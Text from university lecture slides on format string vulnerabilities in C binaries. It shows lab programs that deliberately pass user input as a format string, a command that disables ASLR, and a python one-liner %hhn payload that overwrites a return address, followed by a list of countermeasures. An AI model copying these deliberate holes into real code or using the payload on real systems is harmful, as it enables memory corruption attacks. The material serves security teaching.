
CSE 610 Special Topics: 
System Security - Attack and Defense for 

Binaries

Instructor: Dr. Ziming Zhao

Location: Frnczk 408, North campus
Time: Monday, 5:20 PM - 8:10 PM





CSE 703 Seminar: Advanced Software Security - 
Techniques and Tools

Spring 2021

Learn the ideas, techniques and tools using static and dynamic analysis to 
automatically find software vulnerabilities at source code, bytecode and binary 
code level

Topics: program analysis, program instrumentation, symbolic execution, fuzzing, 
SAT, etc.

Format: lectures, labs, paper reading, paper reviewing, paper presentation

Course project. Aiming at paper publishing.



Today’s Agenda

1. Format string vulnerability



code/fs3

int vulfoo()
{

char buf1[100];
char buf2[100];

fgets(buf2, 99, stdin);
sprintf(buf1, buf2);
return 0;

}

int main() {
return vulfoo();

}

Use “echo 0 | sudo tee /proc/sys/kernel/randomize_va_space” on 
Ubuntu to disable ASLR temporarily   



code/fs4
int auth = 0;

void printsecret()
{

printf("This is a secret!\n");
}

int vulfoo()
{

char buf1[512];
char buf2[512];

fgets(buf2, 510, stdin);
snprintf(buf1, sizeof(buf1), buf2);
return 0;

}

int main() {
vulfoo();

if (auth)
printsecret();

}

Use “echo 0 | sudo tee /proc/sys/kernel/randomize_va_space” on 
Ubuntu to disable ASLR temporarily   



Specifiers

A format specifier follows this prototype:  
%[flags][width][.precision][length]specifier



Specifiers

A format specifier follows this prototype:  
%[flags][width][.precision][length]specifier



Goals

1. Overwrite auth to execute printsecret
2. Overwrite RET to execute printsecret



code/fs5
int auth = 0;

void printsecret()
{

printf("This is a secret!");
exit(0);

}

int vulfoo()
{

char tmpbuf[120];
fgets(tmpbuf, 118, stdin);

   
printf(tmpbuf);
return 0;

}

int main() {
vulfoo();

if (auth)
printsecret();

}

Use “echo 0 | sudo tee /proc/sys/kernel/randomize_va_space” on 
Ubuntu to disable ASLR temporarily   



code/fs5

Use “echo 0 | sudo tee /proc/sys/kernel/randomize_va_space” on 
Ubuntu to disable ASLR temporarily   

python -c "print 
'\x8c\xd0\xff\xffAAAA\x8d\xd0\xff\xff%08x%08x%08x%08x%1
70d%hhn%187d%hhn'" > exploitret



Countermeasures

Compiler
ASLR



Compare with Buffer Overflow

StackGuard

Non-executable Stack


